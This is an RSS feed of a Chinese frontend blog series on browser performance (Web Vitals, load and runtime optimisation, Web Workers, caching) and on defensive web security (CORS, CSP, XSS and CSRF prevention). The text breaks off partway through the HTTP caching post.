<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>我的博客</title><description>记录技术、想法与生活</description><link>http://117.72.32.87/</link><language>zh_CN</language><item><title>11 · 首屏优化实战</title><link>http://117.72.32.87/blog/posts/browser-roadmap-11-first-screen/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-11-first-screen/</guid><description>把前面的原理串成一条可执行的&quot;首屏优化清单&quot;：诊断→按指标定位→逐项优化（关键资源/图片/缓存/SSR/骨架屏）→用数据验收。附一份可直接照做的检查清单。</description><pubDate>Thu, 01 Oct 2026 15:45:00 GMT</pubDate><content:encoded>&lt;h2&gt;优化是流程，不是灵感的&lt;/h2&gt;
&lt;p&gt;这些年我总结了一套&lt;strong&gt;指标驱动&lt;/strong&gt;的首屏优化 SOP，避免&quot;东改一点西改一点&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一步：诊断&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;跑 &lt;strong&gt;Lighthouse&lt;/strong&gt; 拿实验室分，看 LCP/CLS/INP 谁最差。&lt;/li&gt;
&lt;li&gt;看 &lt;strong&gt;Network&lt;/strong&gt; 面板：首屏发了哪些请求？哪个最大最慢？有没有 404/重复？&lt;/li&gt;
&lt;li&gt;接 &lt;strong&gt;web-vitals&lt;/strong&gt; 看真实用户数据（RUM），确认不是&quot;本地快线上慢&quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第二步：按指标下药&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;LCP 差（内容出现慢）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;预加载/优先加载首屏大图（&lt;code&gt;preload&lt;/code&gt; + 现代格式）。&lt;/li&gt;
&lt;li&gt;削减阻塞渲染的 JS（&lt;code&gt;defer&lt;/code&gt;/代码分割/异步第三方）。&lt;/li&gt;
&lt;li&gt;服务端渲染（SSR）直接吐首屏 HTML，省去&quot;等 JS 拉数据再渲染&quot;。&lt;/li&gt;
&lt;li&gt;CDN 边缘缓存静态资源，就近返回。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CLS 差（布局抖动）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;图片/视频/广告位&lt;strong&gt;预留宽高&lt;/strong&gt;或 &lt;code&gt;aspect-ratio&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;字体用 &lt;code&gt;font-display: swap&lt;/code&gt; + 预加载关键字体。&lt;/li&gt;
&lt;li&gt;别在已有内容上方插入新元素（如突然弹出的 banner）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;INP 差（交互卡）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;拆分长任务、rAF 批量更新（见运行时篇）。&lt;/li&gt;
&lt;li&gt;重计算进 Web Worker。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第三步：用骨架屏撑住&quot;等待感&quot;&lt;/h2&gt;
&lt;p&gt;SSR/数据回来前，先渲染&lt;strong&gt;骨架屏&lt;/strong&gt;（灰块占位），用户感知更快、不白屏。配合懒加载，体验明显提升。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;可照做的检查清单&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 资源带 &lt;code&gt;contenthash&lt;/code&gt; + 长缓存；HTML 短缓存&lt;/li&gt;
&lt;li&gt;[ ] 首屏 JS 体积达标（代码分割 + 按需）&lt;/li&gt;
&lt;li&gt;[ ] 图片 webp/avif + &lt;code&gt;srcset&lt;/code&gt; + &lt;code&gt;loading=&quot;lazy&quot;&lt;/code&gt; + 预留尺寸&lt;/li&gt;
&lt;li&gt;[ ] 关键 CSS 内联、非关键异步&lt;/li&gt;
&lt;li&gt;[ ] 第三方脚本 &lt;code&gt;async/defer&lt;/code&gt;、延迟加载&lt;/li&gt;
&lt;li&gt;[ ] 指标接入 RUM，优化前后对比 LCP/CLS/INP&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优化 SOP：诊断（Lighthouse/Network/RUM）→ 按指标定位 → 对症优化 → 数据验收。&lt;/li&gt;
&lt;li&gt;LCP 看资源与 SSR，CLS 看预留尺寸与字体，INP 看长任务与 Worker。&lt;/li&gt;
&lt;li&gt;骨架屏缓解等待感；优化必须用指标前后对比证明有效。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;挑你正在做的页面，按清单逐项打勾，列出 Top3 待优化项。&lt;/li&gt;
&lt;li&gt;用 Lighthouse 跑分 → 改一项（如图片格式）→ 再跑，确认指标变化。&lt;/li&gt;
&lt;li&gt;给一个数据列表页加骨架屏，对比&quot;白屏&quot;与&quot;骨架&quot;的体感差异。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>10 · Web Workers 与多线程</title><link>http://117.72.32.87/blog/posts/browser-roadmap-10-web-workers/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-10-web-workers/</guid><description>JS 单线程的突破：Web Worker 把重计算移出主线程，避免卡 UI。讲清 Worker 的通信模型（postMessage/结构化克隆）、使用场景与限制，以及 Comlink 这类更易用的封装。</description><pubDate>Thu, 01 Oct 2026 15:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;单线程的墙&lt;/h2&gt;
&lt;p&gt;前面说过 JS 单线程，重计算（如大数组排序、图像/音频处理、加密）会卡住主线程，UI 冻结。Web Worker 提供了&lt;strong&gt;真正的多线程&lt;/strong&gt;：把这类活丢到后台线程跑。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Worker 基本用法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// main.js
const worker = new Worker(&quot;worker.js&quot;);
worker.postMessage({ type: &quot;calc&quot;, data: bigArray });
worker.onmessage = (e) =&amp;gt; console.log(&quot;结果&quot;, e.data);

// worker.js
self.onmessage = (e) =&amp;gt; {
  const result = heavyCompute(e.data.data);
  self.postMessage(result);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;主线程与 Worker &lt;strong&gt;不共享内存&lt;/strong&gt;，通过 &lt;code&gt;postMessage&lt;/code&gt; 传数据。&lt;/li&gt;
&lt;li&gt;数据用&lt;strong&gt;结构化克隆&lt;/strong&gt;传递（默认拷贝；大对象可用 &lt;code&gt;Transferable&lt;/code&gt; 转移所有权，零拷贝）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;适用场景&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;大数组/矩阵运算、排序、压缩。&lt;/li&gt;
&lt;li&gt;图像处理（canvas 像素级操作）。&lt;/li&gt;
&lt;li&gt;音视频编解码、加密解密。&lt;/li&gt;
&lt;li&gt;解析大 JSON / 文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不适合：直接操作 DOM（Worker 里没有 &lt;code&gt;document&lt;/code&gt;）、频繁小消息（通信也有开销）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;现代封装：Comlink&lt;/h2&gt;
&lt;p&gt;手写 &lt;code&gt;postMessage&lt;/code&gt; 像在写 RPC，繁琐。&lt;code&gt;Comlink&lt;/code&gt; 把 Worker 暴露的对象变成可 &lt;code&gt;await&lt;/code&gt; 的远程对象：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// worker.js
import * as Comlink from &quot;comlink&quot;;
Comlink.expose({ heavyCompute });

// main.js
const api = Comlink.wrap(new Worker(&quot;worker.js&quot;));
await api.heavyCompute(data); // 像调本地函数
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;限制与权衡&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Worker 有启动/通信成本，轻量计算不值得搬。&lt;/li&gt;
&lt;li&gt;复杂共享状态可用 &lt;code&gt;SharedWorker&lt;/code&gt;（多标签页共享）或 &lt;code&gt;SharedArrayBuffer&lt;/code&gt;（需COOP/COEP 头）。&lt;/li&gt;
&lt;li&gt;模块 Worker：&lt;code&gt;new Worker(url, { type: &quot;module&quot; })&lt;/code&gt; 支持 ESM。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Web Worker 把重计算移出主线程，保 UI 流畅。&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;postMessage&lt;/code&gt; 通信，数据走结构化克隆（大对象用 Transferable）。&lt;/li&gt;
&lt;li&gt;适合重计算，不适合操作 DOM 或超高频小消息。&lt;/li&gt;
&lt;li&gt;Comlink 让 Worker 调用像本地异步函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个 Worker 做&quot;大数组排序&quot;，对比放主线程时页面是否冻结。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;Transferable&lt;/code&gt; 传递一个大 &lt;code&gt;ArrayBuffer&lt;/code&gt;，体会零拷贝。&lt;/li&gt;
&lt;li&gt;用 Comlink 重构上面的 Worker 调用，对比代码可读性。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>09 · 运行时性能</title><link>http://117.72.32.87/blog/posts/browser-roadmap-09-runtime-performance/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-09-runtime-performance/</guid><description>页面&quot;加载完但用着卡&quot;的运行时优化：长任务与主线程阻塞、用 Performance 面板定位、避免频繁重排、虚拟列表、requestAnimationFrame 与节流防抖，让交互始终流畅。</description><pubDate>Thu, 01 Oct 2026 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;卡顿的根源：主线程被占满&lt;/h2&gt;
&lt;p&gt;浏览器的&lt;strong&gt;主线程&lt;/strong&gt;负责 JS 执行、样式计算、布局、绘制编排。一旦一段 JS 跑了太久（&amp;gt;50ms），主线程被独占，用户点击/滚动无响应——这就是&quot;长任务&quot;。INP 指标直接反映这个体验。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;用 Performance 面板定位&lt;/h2&gt;
&lt;p&gt;录制一次交互，看火焰图：哪段脚本占了长条？是否出现&quot;Long Task&quot;红色标记？聚焦最贵的函数，别瞎优化。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常见运行时杀手与对策&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 频繁重排&lt;/strong&gt;：循环里&quot;读写交替&quot;触发强制同步布局。批量读写、用 &lt;code&gt;requestAnimationFrame&lt;/code&gt; 把视觉更新集中到下一帧。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 节流：高频事件（scroll/resize）限制执行频率
function throttle(fn, wait) {
  let last = 0;
  return (...args) =&amp;gt; {
    const now = Date.now();
    if (now - last &amp;gt;= wait) { last = now; fn(...args); }
  };
}
window.addEventListener(&quot;scroll&quot;, throttle(onScroll, 100));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 大列表渲染&lt;/strong&gt;：1 万行 DOM 必卡 → 虚拟列表（见 React 性能篇）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 大量 DOM 操作&lt;/strong&gt;：用文档片段（DocumentFragment）或先 &lt;code&gt;display:none&lt;/code&gt; 改完再显示，减少重排次数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 复杂计算&lt;/strong&gt;：移到 Web Worker（下篇），不占主线程。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;rAF 与防抖节流&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;requestAnimationFrame&lt;/strong&gt;：把动画/视觉更新对齐浏览器刷新节奏（~16ms/帧），避免掉帧。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;debounce&lt;/strong&gt;：停止触发 N 毫秒后才执行（搜索输入，等用户停下来再请求）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;throttle&lt;/strong&gt;：固定间隔最多执行一次（滚动处理，限频）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;卡顿 = 长任务占满主线程；用 Performance 面板定位最贵函数。&lt;/li&gt;
&lt;li&gt;避免循环读写交替、大列表全量渲染、无节制的 DOM 操作。&lt;/li&gt;
&lt;li&gt;防抖/节流控频率；rAF 对齐帧；重计算进 Worker。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 Performance 录制一个卡顿交互，找出最长的 Long Task 并定位函数。&lt;/li&gt;
&lt;li&gt;写一个高频 &lt;code&gt;input&lt;/code&gt; 搜索，用 debounce 避免每次按键都发请求。&lt;/li&gt;
&lt;li&gt;把一段&quot;循环里反复改 style 触发重排&quot;的代码改成 rAF 批量更新。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>08 · 加载性能优化</title><link>http://117.72.32.87/blog/posts/browser-roadmap-08-load-optimization/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-08-load-optimization/</guid><description>围绕&quot;让首屏更快&quot;的加载优化：减少关键资源、压缩与 modern 构建、资源预加载（preload/prefetch）、图片优化（格式/响应式/lazy）、字体与第三方脚本治理。</description><pubDate>Thu, 01 Oct 2026 14:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;加载优化的核心：缩短关键渲染路径&lt;/h2&gt;
&lt;p&gt;用户看到内容前，必须下载并执行关键资源（HTML/CSS/阻塞 JS）。优化思路：&lt;strong&gt;更少、更小、更早、更聪明地加载&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 减少与压缩&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;删无用代码&lt;/strong&gt;：tree-shaking、按需引入（见工程化篇）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;压缩&lt;/strong&gt;：JS/CSS 用 gzip/brotli；文本类资源压缩率极高。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;modern 构建&lt;/strong&gt;：给现代浏览器发 ES2017+（更小），老浏览器走兜底（&lt;code&gt;@vitejs/plugin-legacy&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 预加载关键资源&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;preload&quot; href=&quot;critical.css&quot; as=&quot;style&quot; /&amp;gt;
&amp;lt;link rel=&quot;prefetch&quot; href=&quot;next-page.js&quot; as=&quot;script&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;preload&lt;/strong&gt;：&lt;strong&gt;当前页&lt;/strong&gt;马上要用的资源，提前拿（如首屏大图、关键字体）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;prefetch&lt;/strong&gt;：&lt;strong&gt;下一页&lt;/strong&gt;可能要用的，空闲时预取。&lt;/li&gt;
&lt;li&gt;用错（preload 了用不到的）反而拖慢，按需使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 图片优化（最大头的常客）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;现代格式&lt;/strong&gt;：webp/avif 比 jpg/png 小 30–50%。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应式&lt;/strong&gt;：&lt;code&gt;&amp;lt;img srcset&amp;gt;&lt;/code&gt; 按屏给不同分辨率，移动端不下载桌面大图。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;懒加载&lt;/strong&gt;：&lt;code&gt;&amp;lt;img loading=&quot;lazy&quot;&amp;gt;&lt;/code&gt; 滚到视口才加载，省首屏带宽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;给尺寸&lt;/strong&gt;：&lt;code&gt;width/height&lt;/code&gt; 预留空间防止 CLS 抖动（见指标篇）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 字体与第三方脚本&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字体&lt;/strong&gt;：&lt;code&gt;font-display: swap&lt;/code&gt; 先显示回退字体再替换，避免&quot;看不见文字&quot;；子集化只打包用到的字。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三方脚本&lt;/strong&gt;（统计/广告）：用 &lt;code&gt;async&lt;/code&gt;/&lt;code&gt;defer&lt;/code&gt; 不阻塞解析；能延迟/按需就别首屏加载，它们常是性能刺客。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;关键路径：更少（删代码）、更小（压缩）、更早（preload）、更聪明（lazy）。&lt;/li&gt;
&lt;li&gt;图片是头号优化对象：现代格式 + 响应式 + 懒加载 + 预留尺寸。&lt;/li&gt;
&lt;li&gt;第三方脚本和字体要专门治理，别让它们堵首屏。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;给首屏一张大图换 webp 格式并加 &lt;code&gt;loading=&quot;lazy&quot;&lt;/code&gt;，对比传输体积。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;&amp;lt;link rel=&quot;preload&quot;&amp;gt;&lt;/code&gt; 提前加载关键 CSS，观察 FCP 是否改善。&lt;/li&gt;
&lt;li&gt;审计你页面的第三方脚本，把非首屏的改成延迟加载。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>07 · 性能指标</title><link>http://117.72.32.87/blog/posts/browser-roadmap-07-metrics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-07-metrics/</guid><description>用指标量化体验：TTFB、FCP、LCP、CLS、INP 各自衡量什么，Core Web Vitals 的阈值，以及如何用 Lighthouse / Web Vitals 采集真实数据。指标驱动优化，而非凭感觉。</description><pubDate>Thu, 01 Oct 2026 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;没有度量就没有优化&lt;/h2&gt;
&lt;p&gt;&quot;感觉有点慢&quot;无法指导优化。&lt;strong&gt;Core Web Vitals&lt;/strong&gt; 把体验拆成可量化指标，达标才算好。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;关键指标&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;衡量&lt;/th&gt;
&lt;th&gt;好的阈值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TTFB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;服务器响应首个字节耗时&lt;/td&gt;
&lt;td&gt;&amp;lt; 800ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;首次绘制任意内容&lt;/td&gt;
&lt;td&gt;&amp;lt; 1.8s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;最大内容（如大图/标题）绘制完成&lt;/td&gt;
&lt;td&gt;&amp;lt; 2.5s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;布局稳定性（视觉跳动）&lt;/td&gt;
&lt;td&gt;&amp;lt; 0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;INP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;交互响应延迟（替代 FID）&lt;/td&gt;
&lt;td&gt;&amp;lt; 200ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LCP&lt;/strong&gt; 关注&quot;用户看到主要内容多快&quot;——常受大图、阻塞渲染的 JS 影响。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CLS&lt;/strong&gt; 关注&quot;页面稳不稳&quot;——图片无宽高、字体闪烁、插入内容都会导致跳动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INP&lt;/strong&gt; 关注&quot;点了有没有反应&quot;——长任务占主线程是主因。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;采集方式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lighthouse&lt;/strong&gt;：实验室数据，本地跑分、查瓶颈（DevTools 自带）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;web-vitals 库&lt;/strong&gt;：采集&lt;strong&gt;真实用户（RUM）&lt;/strong&gt; 数据，反映真实环境。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CrUX / 监控平台&lt;/strong&gt;：聚合全量用户的字段数据，看长期趋势。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;实验室数据（Lighthouse）找问题，真实字段数据（RUM）验效果。两者结合。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;指标驱动优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LCP 差 → 优化首屏大图（压缩/优先加载/预加载）、削减阻塞 JS。&lt;/li&gt;
&lt;li&gt;CLS 差 → 给图片/广告位预留尺寸、&lt;code&gt;font-display: swap&lt;/code&gt; 减少字体跳动。&lt;/li&gt;
&lt;li&gt;INP 差 → 拆分长任务、用 Web Worker 移出主线程（下篇）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;核心指标：LCP（加载）、CLS（稳定）、INP（交互）。&lt;/li&gt;
&lt;li&gt;阈值：LCP&amp;lt;2.5s、CLS&amp;lt;0.1、INP&amp;lt;200ms。&lt;/li&gt;
&lt;li&gt;Lighthouse 找瓶颈，RUM 验真实效果。&lt;/li&gt;
&lt;li&gt;先测指标，再针对性优化，避免盲调。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 Lighthouse 给你的页面跑分，记录 LCP/CLS/INP，找出最差的一项。&lt;/li&gt;
&lt;li&gt;故意去掉一张大图的宽高属性，观察 CLS 变差；补回后恢复。&lt;/li&gt;
&lt;li&gt;在页面接入 &lt;code&gt;web-vitals&lt;/code&gt; 库，打印真实用户的 LCP 值。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>06 · 跨域与安全</title><link>http://117.72.32.87/blog/posts/browser-roadmap-06-security/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-06-security/</guid><description>前端安全底线：同源策略与 CORS 的跨域机制、Content-Security-Policy 防注入、XSS（跨站脚本）与 CSRF（跨站请求伪造）的原理与防御要点。以&quot;如何不被攻击&quot;为主线。</description><pubDate>Thu, 01 Oct 2026 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安全是上线的必答题&lt;/h2&gt;
&lt;p&gt;功能做完不代表能上线。两个经典漏洞——XSS 和 CSRF——是前端必须懂的防御知识。本文只讲&lt;strong&gt;如何防&lt;/strong&gt;，原理服务于防护。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;同源策略与 CORS&lt;/h2&gt;
&lt;p&gt;同源 = 协议 + 域名 + 端口都相同。跨源请求默认被浏览器拦截。服务端通过 CORS 头放行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;简单请求直接发；带凭证/非简单方法会先发 &lt;code&gt;OPTIONS&lt;/code&gt; 预检。&lt;/li&gt;
&lt;li&gt;不要把 &lt;code&gt;Allow-Origin&lt;/code&gt; 设成 &lt;code&gt;*&lt;/code&gt;（通配）同时又允许凭证，这是危险组合。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;CSP：给页面上把锁&lt;/h2&gt;
&lt;p&gt;Content-Security-Policy 声明&quot;页面允许加载哪些来源的资源&quot;，从源头遏制注入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Security-Policy: default-src &apos;self&apos;; img-src &apos;self&apos; https://cdn.example.com;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即使有注入点，外部脚本也因不在白名单被拒绝执行。是现代防 XSS 的关键防线。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;XSS：别让用户输入变成代码&lt;/h2&gt;
&lt;p&gt;原理（仅用于理解防御）：把用户输入未经处理地插入 DOM/HTML，其中的脚本会被执行。防御：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;输出转义&lt;/strong&gt;：插入文本用 &lt;code&gt;textContent&lt;/code&gt; 而非 &lt;code&gt;innerHTML&lt;/code&gt;；框架（React/Vue）默认转义插值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不信任任何用户输入&lt;/strong&gt;，富文本用白名单 sanitizer（如 DOMPurify）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HttpOnly Cookie&lt;/strong&gt; 让 JS 读不到 token，即使被注入也偷不走登录态。&lt;/li&gt;
&lt;li&gt;配合 &lt;strong&gt;CSP&lt;/strong&gt; 兜底。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;CSRF：别让别人的站点替你发请求&lt;/h2&gt;
&lt;p&gt;原理（用于理解）：用户在 A 站登录，访问恶意 B 站，B 自动发起对 A 的请求，浏览器带上 A 的 Cookie 通过鉴权。防御：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SameSite Cookie&lt;/strong&gt;：&lt;code&gt;SameSite=Strict/Lax&lt;/code&gt; 阻止跨站携带 Cookie。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRF Token&lt;/strong&gt;：请求带服务端下发的随机 token，恶意站点无法伪造。&lt;/li&gt;
&lt;li&gt;关键操作要求二次确认/验证码。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CORS 是服务端声明的跨域放行，别滥用 &lt;code&gt;* + 凭证&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;CSP 用白名单约束资源来源，防注入兜底。&lt;/li&gt;
&lt;li&gt;XSS 防：转义输出 + 不信任输入 + HttpOnly + CSP。&lt;/li&gt;
&lt;li&gt;CSRF 防：SameSite Cookie + CSRF Token。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;给一个页面加 CSP 头，故意引入一个外部脚本，观察被拦截。&lt;/li&gt;
&lt;li&gt;对比 &lt;code&gt;innerHTML&lt;/code&gt; 插入用户输入 vs &lt;code&gt;textContent&lt;/code&gt; 的安全性差异。&lt;/li&gt;
&lt;li&gt;解释为什么 &lt;code&gt;SameSite=Strict&lt;/code&gt; 能挡住大部分 CSRF。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>05 · 网络与 HTTP 缓存</title><link>http://117.72.32.87/blog/posts/browser-roadmap-05-http-cache/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-05-http-cache/</guid><description>前端绕不开的网络：HTTP 缓存的强缓存（Cache-Control/max-age/ETag）与协商缓存（304），CDN 边缘缓存，以及&quot;缓存策略怎么配才不会拿到旧资源&quot;。</description><pubDate>Thu, 01 Oct 2026 11:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;缓存是性能的半壁江山&lt;/h2&gt;
&lt;p&gt;很多&quot;慢&quot;其实是不该发生的请求。HTTP 缓存让浏览器/CDN 复用已下载的资源，&lt;strong&gt;省掉网络往返甚至省掉下载&lt;/strong&gt;。配错了则会&quot;永远拿到旧版&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;强缓存：不询问，直接用&lt;/h2&gt;
&lt;p&gt;靠响应头：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cache-Control: max-age=31536000, immutable
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;max-age=秒&lt;/code&gt;：资源在这么长时间内&lt;strong&gt;绝对新鲜&lt;/strong&gt;，不发请求直接用（200 from cache）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;immutable&lt;/code&gt;：内容永不变（如带 hash 的文件名），连验证都省。&lt;/li&gt;
&lt;li&gt;强缓存期间浏览器连服务端都不问。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;协商缓存：问一句&quot;我这份还新吗&quot;&lt;/h2&gt;
&lt;p&gt;当强缓存过期，浏览器带条件去问服务端：&lt;/p&gt;
